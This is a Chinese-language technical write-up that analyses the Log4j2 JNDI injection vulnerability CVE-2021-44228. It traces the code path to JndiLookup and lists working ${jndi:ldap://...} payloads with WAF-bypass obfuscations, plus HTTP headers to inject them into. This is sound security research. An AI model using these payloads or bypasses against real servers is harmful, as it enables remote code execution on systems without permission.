log4j2反序列化漏洞分析

介绍

Apache Log4j2 是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具。Log4j2 是一个 Log4j 1.x 的重写,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。由于其优异的性能而被广泛的应用于各种常见的 Web 服务中。

2021 年 12 月 9 日晚,Log4j2 的一个远程代码执行漏洞的利用细节被公开。攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码.

目前,已经为此漏洞颁发了 CVE 编号:CVE-2021-44228,根据官方安全公告,以下为相关信息: - 漏洞:Log4j2 的 JNDI 功能点无法防御来自攻击者的 ldap 以及其他相关端点的攻击行为。 - 严重等级:Critical - Basic CVSS 评分:10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - 影响版本:all versions from 2.0-beta9 to 2.14.1 - 详情描述:Apache Log4j2 <=2.14.1 版本提供的 JNDI 特性用于配置、日志信息、参数位置时,无法防护攻击者使用 ldap 或其他 JNDI 相关断点的攻击行为。攻击者如果可以控制日志信息或日志信息参数,则可以在开启了 lookup substitution 功能时利用恶意的 ladp 服务器执行任意代码,在 2.15.0 版本时,默认将其此行为关闭。 -缓解措施:升至 2.15.0及更新版本。

复现

这里使用了su18师傅的jndi工具

image-20221227134610282

分析

依赖
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

idea:download source出错的话,在pom目录执行mvn dependency:resolve -Dclassifier=sources

触发点:根据官方修订信息可以知道,是通过jndi中LDAP注入实现了rce。通过查看补丁修改记录发现对lookup函数进行了修改。 jndiLookup允许通过LDAP检索变量,使用:

<File name="Application" fileName="application.log">
    <PatternLayout>
        <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
    </PatternLayout>
</File>
用法格式:${jndi:JNDIContent}

有了触发点,也有了触发lookup的方法,只要找到入口点再传入jndi调用ldap就可以实现rce

通常使用LogManager.getLogger()方法获取一个Logger对象,并调用其debug/info/error/warn/fatal/trace/log等方法记录日志等信息。 入口点:LogManager.getLogger()

调用:

logger.error -> logIfEnabled 第一个关键点:这里调用AbstractLogger类的error()重写方法,再调用该类的logIfEnabled判断是否符合日志记录的等级要求。 (Log4j包括的日志等级层级分别为:ALL < DEBUG < INFO < WARN < ERROR < FATAL < OFF。当前事件的日志等级大于等于设置的日志等级时,才会符合条件进入logMessages()。默认会输出error/fatal等级的日志。可以使用配置文件更改日志输出等级:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
    <Loggers>
        <Logger name="org.Klear" level="All"/>
    </Loggers>
</Configuration>

image-20221227151136221 image-20221227151157977

非关键调用:-> logMessage -> logMessageSafely -> logMessageTrackRecursion -> tryLogMessage -> log -> getReliabilityStrategy.log -> loggerConfig.log -> processLogEvent -> callAppenders -> callAppender -> callAppenderPreventRecursion -> tryCallAppender -> appender.append -> tryAppend -> directEncodeEvent -> encode -> toText -> toSerializable -> format -> format -> replace 第二个关键点 MessagePatternConverter#fomat 这里寻找${,如果找到就会对{中间的字符}解析并replace image-20221227152557347

-> substitute 先看下当前类(StrSubstitutor)类中定义的几个变量: DEFAULT_EACAPE是$,前缀是${,后缀是},还有两个赋值分隔符:-:\\- image-20221227163025902 再回到StrSubstitutor#substitute 先while循环找前缀${ image-20221227163441437 找到前缀的话找后缀。在while循环中再判断是否替换变量中的值,如果替换了就再匹配一次前缀,如果又发现了前缀就continue跳出,再找一次后缀。此逻辑用来满足变量嵌套的情况 image-20221227163922283 然后多个if匹配赋值分割符:-:\-,这些可以用来绕过waf - :- 如果程序处理到 ${aaaa:-bbbb} 这样的字符串,处理的结果将会是 bbbb:- 关键字将会被截取掉,而之前的字符串都会被舍弃掉。 - :\- 如果一个用 a:b 表示的键值对的 key a 中包含 :,则需要使用转义来配合处理,例如 ${aaa:\\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 cccimage-20221227164315019

-> resolveVariable 处理完毕后,调用resolveVariable方法解析满足Lookup功能的语法,执行相应的lookup,将返回的结果替换原字符串后,再调佣subsitute递归循环处理。

-> lookup -> Interpolator#lookup 先截取字符串的前缀值并转换为小写jndi(也可以用来绕过过滤),然后用name接收剩下的字符串ldap://127.0.0.1:23457/Command8 当匹配到内置方法,就进入对应的处理方法。这里进入JndiLookup处理 image-20221227155222022 附: 在使用Lookup功能时,是由这个Interpolator类来处理和分发。 这个类的构造方法中创建了一个strLookupMap,将一些功能关键字和处理类进行了映射 image-20221227165940984 除了使用jndi查询外,log4j2还支持上面很多lookup功能,包括获取环境变量、系统配置、Java 环境等,并且它还支持递归嵌套解析。所以可以通过这些关键字来实现一些攻击思路。

->JndiLookup#lookup(jndiManager.lookup) 这里lookup方法使用JndiManager来支持jndi的查询功能,触发 image-20221227155740528

绕过&&利用方式举例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//        String a = "${jndi:ldap://127.0.0.1:23457/Command8}";//
//
//        ######垃圾字符
//        String a = "asd是zxc12${jndi:ldap://127.0.0.1:23457/Command8}";

//        ######前缀大小写绕过
//        String a = "${jNdi:ldap://127.0.0.1:23457/Command8}";

//        ###### :- 赋值分隔符绕过。如果程序处理到 `${aaaa:-bbbb}` 这样的字符串,处理的结果将会是 `bbbb`,`:-` 关键字将会被截取掉,而之前的字符串都会被舍弃掉。
//        String a = "${${123asd:-j}ndi:ldap://127.0.0.1:23457/Command8}";
//        String a = "${${123asd:-j}n${zxcasd:-d}i:ldap://127.0.0.1:23457/Command8}"; //支持嵌套
//        String a = "${${t:-j}${a:-N}${t:-d}i:${h:-ldap}://127.0.0.1:23457/Command8}";

//        ###### :\\- 复制分隔符绕过 如果一个用 `a:b` 表示的键值对的 key `a` 中包含 `:`,则需要使用转义来配合处理,例如 `${aaa:\\-bbb:-ccc}`,代表 key 是,`aaa:bbb`,value 是 `ccc`
//        String a = "${${123a:\\-sd:-j}ndi:ldap://127.0.0.1:23457/Command8}";
//        String a = "${${123a:\\-sd:-j}n${asda:\\-sd:-d}i:ldap://127.0.0.1:23457/Command8}";
//        String a = "${${t:\\-s:-j}${a:-N}${t:\\-c:-d}i:${h:-ldap}://127.0.0.1:23457/Command8}";

//        ######编码绕过
//        String a = "${jnd${upper:\u0131}:ldap://127.0.0.1:23457/Command8}";
//        String a = "${${s:-j}${a:\\-s:-N}${t:-d}${upper:\u0131}:${h:-ldap}://127.0.0.1:23457/Command8}";

//        小嵌套
//        String a = "${env:JAVA_HOME}${jndi:ldap://127.0.0.1:23457/Command8}";
//            logger.error("${sasd:hostname}");
//            logger.error("${date:dd/MM/yyyy}");
//            logger.error("${java:version}");
//            logger.error("${maker:1}");
//            logger.error("${ctx:2}");
//            logger.error("${main:3}");
//            logger.error("${jvmrunargs:4}");
//            logger.error("${sys:os.name}");
//            logger.error("${env:JAVA_HOME}");
//            logger.error("${log4j:configParentLocation}");
//            strLookupMap.put("lower", new LowerLookup());
//            strLookupMap.put("upper", new UpperLookup());

检测

标头

Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
DNT
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
If-Modified-Since
Max-Forwards
Origin
Originating-Ip
Pragma
Referer
TE
True-Client-IP
True-Client-Ip
Upgrade
User-Agent
Via
Warning
X-ATT-DeviceId
X-Api-Version
X-Att-Deviceid
X-CSRFToken
X-Client-Ip
X-Correlation-ID
X-Csrf-Token
X-Do-Not-Track
X-Foo
X-Foo-Bar
X-Forward-For
X-Forward-Proto
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Frame-Options
X-From
X-Geoip-Country
X-HTTP-Method-Override
X-Http-Destinationurl
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-Http-Path-Override
X-Https
X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight
X-Ip
X-Ip-Trail
X-Leakix
X-Originating-Ip
X-ProxyUser-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Request-ID
X-Requested-With
X-UIDH
X-Wap-Profile
X-XSRF-TOKEN
Authorization: Basic 
Authorization: Bearer 
Authorization: Oauth 
Authorization: Token

burp插件:https://github.com/tangxiaofeng7/BurpLog4j2Scan yakit插件:Log4Shell 漏洞检测(自动检测版)

参考

https://tttang.com/archive/1378/#toc_0x00 https://www.cnpanda.net/sec/1114.html

updatedupdated2022-12-282022-12-28